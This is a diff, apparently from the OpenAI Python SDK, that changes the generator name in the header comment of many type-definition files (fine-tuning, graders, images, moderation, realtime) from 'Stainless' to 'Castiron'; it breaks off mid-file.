--- a/src/openai/types/fine_tuning/dpo_hyperparameters.py
+++ b/src/openai/types/fine_tuning/dpo_hyperparameters.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal
diff --git a/src/openai/types/fine_tuning/dpo_hyperparameters_param.py b/src/openai/types/fine_tuning/dpo_hyperparameters_param.py
index 12b2c41ca8..7e1530bffc 100644
--- a/src/openai/types/fine_tuning/dpo_hyperparameters_param.py
+++ b/src/openai/types/fine_tuning/dpo_hyperparameters_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/fine_tuning/dpo_method.py b/src/openai/types/fine_tuning/dpo_method.py
index 452c182016..f2b2c0199c 100644
--- a/src/openai/types/fine_tuning/dpo_method.py
+++ b/src/openai/types/fine_tuning/dpo_method.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/fine_tuning/dpo_method_param.py b/src/openai/types/fine_tuning/dpo_method_param.py
index 6bd74d9760..039b894986 100644
--- a/src/openai/types/fine_tuning/dpo_method_param.py
+++ b/src/openai/types/fine_tuning/dpo_method_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/fine_tuning/fine_tuning_job.py b/src/openai/types/fine_tuning/fine_tuning_job.py
index bb8a4d597b..dae7e971bc 100644
--- a/src/openai/types/fine_tuning/fine_tuning_job.py
+++ b/src/openai/types/fine_tuning/fine_tuning_job.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/fine_tuning/fine_tuning_job_event.py b/src/openai/types/fine_tuning/fine_tuning_job_event.py
index 7452b818c6..aa64262900 100644
--- a/src/openai/types/fine_tuning/fine_tuning_job_event.py
+++ b/src/openai/types/fine_tuning/fine_tuning_job_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
import builtins
from typing import Optional
diff --git a/src/openai/types/fine_tuning/fine_tuning_job_integration.py b/src/openai/types/fine_tuning/fine_tuning_job_integration.py
index 2af73fbffb..8fefe8a902 100644
--- a/src/openai/types/fine_tuning/fine_tuning_job_integration.py
+++ b/src/openai/types/fine_tuning/fine_tuning_job_integration.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .fine_tuning_job_wandb_integration_object import FineTuningJobWandbIntegrationObject
diff --git a/src/openai/types/fine_tuning/fine_tuning_job_wandb_integration.py b/src/openai/types/fine_tuning/fine_tuning_job_wandb_integration.py
index 0e33aa84c8..512249e973 100644
--- a/src/openai/types/fine_tuning/fine_tuning_job_wandb_integration.py
+++ b/src/openai/types/fine_tuning/fine_tuning_job_wandb_integration.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
diff --git a/src/openai/types/fine_tuning/fine_tuning_job_wandb_integration_object.py b/src/openai/types/fine_tuning/fine_tuning_job_wandb_integration_object.py
index 5b94354d50..db49d351a1 100644
--- a/src/openai/types/fine_tuning/fine_tuning_job_wandb_integration_object.py
+++ b/src/openai/types/fine_tuning/fine_tuning_job_wandb_integration_object.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/fine_tuning/job_create_params.py b/src/openai/types/fine_tuning/job_create_params.py
index 181bede2d9..4987fe6796 100644
--- a/src/openai/types/fine_tuning/job_create_params.py
+++ b/src/openai/types/fine_tuning/job_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/fine_tuning/job_list_events_params.py b/src/openai/types/fine_tuning/job_list_events_params.py
index e1c9a64dc8..bd862c8d02 100644
--- a/src/openai/types/fine_tuning/job_list_events_params.py
+++ b/src/openai/types/fine_tuning/job_list_events_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/fine_tuning/job_list_params.py b/src/openai/types/fine_tuning/job_list_params.py
index b79f3ce86a..c31ec92488 100644
--- a/src/openai/types/fine_tuning/job_list_params.py
+++ b/src/openai/types/fine_tuning/job_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/fine_tuning/jobs/__init__.py b/src/openai/types/fine_tuning/jobs/__init__.py
index 6c93da1b69..91b5f99109 100644
--- a/src/openai/types/fine_tuning/jobs/__init__.py
+++ b/src/openai/types/fine_tuning/jobs/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/fine_tuning/jobs/checkpoint_list_params.py b/src/openai/types/fine_tuning/jobs/checkpoint_list_params.py
index adceb3b218..11c320b34c 100644
--- a/src/openai/types/fine_tuning/jobs/checkpoint_list_params.py
+++ b/src/openai/types/fine_tuning/jobs/checkpoint_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/fine_tuning/jobs/fine_tuning_job_checkpoint.py b/src/openai/types/fine_tuning/jobs/fine_tuning_job_checkpoint.py
index f8a04b6395..ea8960bc15 100644
--- a/src/openai/types/fine_tuning/jobs/fine_tuning_job_checkpoint.py
+++ b/src/openai/types/fine_tuning/jobs/fine_tuning_job_checkpoint.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/fine_tuning/reinforcement_hyperparameters.py b/src/openai/types/fine_tuning/reinforcement_hyperparameters.py
index 4c289fd659..def73ace3d 100644
--- a/src/openai/types/fine_tuning/reinforcement_hyperparameters.py
+++ b/src/openai/types/fine_tuning/reinforcement_hyperparameters.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/fine_tuning/reinforcement_hyperparameters_param.py b/src/openai/types/fine_tuning/reinforcement_hyperparameters_param.py
index 7be716f143..84de6bff9f 100644
--- a/src/openai/types/fine_tuning/reinforcement_hyperparameters_param.py
+++ b/src/openai/types/fine_tuning/reinforcement_hyperparameters_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/fine_tuning/reinforcement_method.py b/src/openai/types/fine_tuning/reinforcement_method.py
index a8a3685148..9fbde810d4 100644
--- a/src/openai/types/fine_tuning/reinforcement_method.py
+++ b/src/openai/types/fine_tuning/reinforcement_method.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import TypeAlias
diff --git a/src/openai/types/fine_tuning/reinforcement_method_param.py b/src/openai/types/fine_tuning/reinforcement_method_param.py
index ea75bfeb69..424210c52f 100644
--- a/src/openai/types/fine_tuning/reinforcement_method_param.py
+++ b/src/openai/types/fine_tuning/reinforcement_method_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/fine_tuning/supervised_hyperparameters.py b/src/openai/types/fine_tuning/supervised_hyperparameters.py
index 1231bbdd80..fe0716cdf0 100644
--- a/src/openai/types/fine_tuning/supervised_hyperparameters.py
+++ b/src/openai/types/fine_tuning/supervised_hyperparameters.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal
diff --git a/src/openai/types/fine_tuning/supervised_hyperparameters_param.py b/src/openai/types/fine_tuning/supervised_hyperparameters_param.py
index de0e021dea..2a1afa67df 100644
--- a/src/openai/types/fine_tuning/supervised_hyperparameters_param.py
+++ b/src/openai/types/fine_tuning/supervised_hyperparameters_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/fine_tuning/supervised_method.py b/src/openai/types/fine_tuning/supervised_method.py
index 96e102582d..c7468f81db 100644
--- a/src/openai/types/fine_tuning/supervised_method.py
+++ b/src/openai/types/fine_tuning/supervised_method.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/fine_tuning/supervised_method_param.py b/src/openai/types/fine_tuning/supervised_method_param.py
index 4381cd184b..4ccfb7a554 100644
--- a/src/openai/types/fine_tuning/supervised_method_param.py
+++ b/src/openai/types/fine_tuning/supervised_method_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/graders/__init__.py b/src/openai/types/graders/__init__.py
index 4f70eb6c2f..f292148854 100644
--- a/src/openai/types/graders/__init__.py
+++ b/src/openai/types/graders/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/graders/grader_inputs.py b/src/openai/types/graders/grader_inputs.py
index edc966d889..75537e74f0 100644
--- a/src/openai/types/graders/grader_inputs.py
+++ b/src/openai/types/graders/grader_inputs.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/graders/grader_inputs_param.py b/src/openai/types/graders/grader_inputs_param.py
index 7d8341eb32..9cbb246966 100644
--- a/src/openai/types/graders/grader_inputs_param.py
+++ b/src/openai/types/graders/grader_inputs_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/graders/label_model_grader.py b/src/openai/types/graders/label_model_grader.py
index d3c942235e..a323720a2c 100644
--- a/src/openai/types/graders/label_model_grader.py
+++ b/src/openai/types/graders/label_model_grader.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/graders/label_model_grader_param.py b/src/openai/types/graders/label_model_grader_param.py
index a5b6959cff..72d1f62e3e 100644
--- a/src/openai/types/graders/label_model_grader_param.py
+++ b/src/openai/types/graders/label_model_grader_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/graders/multi_grader.py b/src/openai/types/graders/multi_grader.py
index 022ddb406a..f8438594ce 100644
--- a/src/openai/types/graders/multi_grader.py
+++ b/src/openai/types/graders/multi_grader.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/graders/multi_grader_param.py b/src/openai/types/graders/multi_grader_param.py
index 064267a5aa..ef406f4a46 100644
--- a/src/openai/types/graders/multi_grader_param.py
+++ b/src/openai/types/graders/multi_grader_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/graders/python_grader.py b/src/openai/types/graders/python_grader.py
index 81aafdae0a..96ce20741c 100644
--- a/src/openai/types/graders/python_grader.py
+++ b/src/openai/types/graders/python_grader.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/graders/python_grader_param.py b/src/openai/types/graders/python_grader_param.py
index 3be7bab432..a4ba6e842d 100644
--- a/src/openai/types/graders/python_grader_param.py
+++ b/src/openai/types/graders/python_grader_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/graders/score_model_grader.py b/src/openai/types/graders/score_model_grader.py
index 73babb0162..b243fc644f 100644
--- a/src/openai/types/graders/score_model_grader.py
+++ b/src/openai/types/graders/score_model_grader.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/graders/score_model_grader_param.py b/src/openai/types/graders/score_model_grader_param.py
index f727aeadf7..b325bd221e 100644
--- a/src/openai/types/graders/score_model_grader_param.py
+++ b/src/openai/types/graders/score_model_grader_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/graders/string_check_grader.py b/src/openai/types/graders/string_check_grader.py
index efd3679da9..8df02a7cd9 100644
--- a/src/openai/types/graders/string_check_grader.py
+++ b/src/openai/types/graders/string_check_grader.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/graders/string_check_grader_param.py b/src/openai/types/graders/string_check_grader_param.py
index da9e961568..fe15ee847e 100644
--- a/src/openai/types/graders/string_check_grader_param.py
+++ b/src/openai/types/graders/string_check_grader_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/graders/text_similarity_grader.py b/src/openai/types/graders/text_similarity_grader.py
index a9d39a2fbd..4330f1b3b0 100644
--- a/src/openai/types/graders/text_similarity_grader.py
+++ b/src/openai/types/graders/text_similarity_grader.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/graders/text_similarity_grader_param.py b/src/openai/types/graders/text_similarity_grader_param.py
index 0907c3c2a7..f601131aa1 100644
--- a/src/openai/types/graders/text_similarity_grader_param.py
+++ b/src/openai/types/graders/text_similarity_grader_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/image.py b/src/openai/types/image.py
index dcbdb2aceb..882300d927 100644
--- a/src/openai/types/image.py
+++ b/src/openai/types/image.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/image_create_variation_params.py b/src/openai/types/image_create_variation_params.py
index d10b74b2c2..c0634658a3 100644
--- a/src/openai/types/image_create_variation_params.py
+++ b/src/openai/types/image_create_variation_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/image_edit_completed_event.py b/src/openai/types/image_edit_completed_event.py
index e2e193413f..0b1f7fab69 100644
--- a/src/openai/types/image_edit_completed_event.py
+++ b/src/openai/types/image_edit_completed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/image_edit_params.py b/src/openai/types/image_edit_params.py
index 1bd6dfd320..b014454606 100644
--- a/src/openai/types/image_edit_params.py
+++ b/src/openai/types/image_edit_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/image_edit_partial_image_event.py b/src/openai/types/image_edit_partial_image_event.py
index 7bbd8c9b13..e25691bbed 100644
--- a/src/openai/types/image_edit_partial_image_event.py
+++ b/src/openai/types/image_edit_partial_image_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/image_edit_stream_event.py b/src/openai/types/image_edit_stream_event.py
index 759f6c6db5..85f6c519c2 100644
--- a/src/openai/types/image_edit_stream_event.py
+++ b/src/openai/types/image_edit_stream_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/image_gen_completed_event.py b/src/openai/types/image_gen_completed_event.py
index 813ed889d8..c97700724a 100644
--- a/src/openai/types/image_gen_completed_event.py
+++ b/src/openai/types/image_gen_completed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/image_gen_partial_image_event.py b/src/openai/types/image_gen_partial_image_event.py
index df29c00a63..73027d0a0e 100644
--- a/src/openai/types/image_gen_partial_image_event.py
+++ b/src/openai/types/image_gen_partial_image_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/image_gen_stream_event.py b/src/openai/types/image_gen_stream_event.py
index 7dde5d5245..cd9899764b 100644
--- a/src/openai/types/image_gen_stream_event.py
+++ b/src/openai/types/image_gen_stream_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/image_generate_params.py b/src/openai/types/image_generate_params.py
index 0c5070b130..c9aeacd30b 100644
--- a/src/openai/types/image_generate_params.py
+++ b/src/openai/types/image_generate_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/image_input_reference_param.py b/src/openai/types/image_input_reference_param.py
index 1065632910..b5e19a2bd3 100644
--- a/src/openai/types/image_input_reference_param.py
+++ b/src/openai/types/image_input_reference_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/image_model.py b/src/openai/types/image_model.py
index 4586fdebdf..42f4e16609 100644
--- a/src/openai/types/image_model.py
+++ b/src/openai/types/image_model.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/images_response.py b/src/openai/types/images_response.py
index 3e832aadf2..3c06e1b750 100644
--- a/src/openai/types/images_response.py
+++ b/src/openai/types/images_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/model.py b/src/openai/types/model.py
index 6506224a20..5013627f17 100644
--- a/src/openai/types/model.py
+++ b/src/openai/types/model.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/model_deleted.py b/src/openai/types/model_deleted.py
index e7601f74e4..50e7c74eaa 100644
--- a/src/openai/types/model_deleted.py
+++ b/src/openai/types/model_deleted.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .._models import BaseModel
diff --git a/src/openai/types/moderation.py b/src/openai/types/moderation.py
index a6acc26db4..e3d9d00e17 100644
--- a/src/openai/types/moderation.py
+++ b/src/openai/types/moderation.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/moderation_create_params.py b/src/openai/types/moderation_create_params.py
index 65d9b7e561..aecb004228 100644
--- a/src/openai/types/moderation_create_params.py
+++ b/src/openai/types/moderation_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/moderation_create_response.py b/src/openai/types/moderation_create_response.py
index 23c03875bf..18a4217e6e 100644
--- a/src/openai/types/moderation_create_response.py
+++ b/src/openai/types/moderation_create_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
diff --git a/src/openai/types/moderation_image_url_input_param.py b/src/openai/types/moderation_image_url_input_param.py
index 9c0fe25685..13ba1c4127 100644
--- a/src/openai/types/moderation_image_url_input_param.py
+++ b/src/openai/types/moderation_image_url_input_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/moderation_model.py b/src/openai/types/moderation_model.py
index 64954c4547..7c0ecf23bd 100644
--- a/src/openai/types/moderation_model.py
+++ b/src/openai/types/moderation_model.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/moderation_multi_modal_input_param.py b/src/openai/types/moderation_multi_modal_input_param.py
index 4314e7b031..de8261e372 100644
--- a/src/openai/types/moderation_multi_modal_input_param.py
+++ b/src/openai/types/moderation_multi_modal_input_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/moderation_text_input_param.py b/src/openai/types/moderation_text_input_param.py
index 786ecbe625..5688caafb5 100644
--- a/src/openai/types/moderation_text_input_param.py
+++ b/src/openai/types/moderation_text_input_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/other_file_chunking_strategy_object.py b/src/openai/types/other_file_chunking_strategy_object.py
index a5371425d7..b62fb63249 100644
--- a/src/openai/types/other_file_chunking_strategy_object.py
+++ b/src/openai/types/other_file_chunking_strategy_object.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/__init__.py b/src/openai/types/realtime/__init__.py
index d7a087ba9a..e4a94a9147 100644
--- a/src/openai/types/realtime/__init__.py
+++ b/src/openai/types/realtime/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/audio_transcription.py b/src/openai/types/realtime/audio_transcription.py
index 1c1eca9b87..9eafc30113 100644
--- a/src/openai/types/realtime/audio_transcription.py
+++ b/src/openai/types/realtime/audio_transcription.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/audio_transcription_param.py b/src/openai/types/realtime/audio_transcription_param.py
index 269f7ca4b2..a70ee134bd 100644
--- a/src/openai/types/realtime/audio_transcription_param.py
+++ b/src/openai/types/realtime/audio_transcription_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/call_accept_params.py b/src/openai/types/realtime/call_accept_params.py
index 231b30b40d..d6b34fc3ce 100644
--- a/src/openai/types/realtime/call_accept_params.py
+++ b/src/openai/types/realtime/call_accept_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/call_create_params.py b/src/openai/types/realtime/call_create_params.py
index a378092a66..0d2c8bd5b2 100644
--- a/src/openai/types/realtime/call_create_params.py
+++ b/src/openai/types/realtime/call_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/call_refer_params.py b/src/openai/types/realtime/call_refer_params.py
index 3d8623855b..09977a7973 100644
--- a/src/openai/types/realtime/call_refer_params.py
+++ b/src/openai/types/realtime/call_refer_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
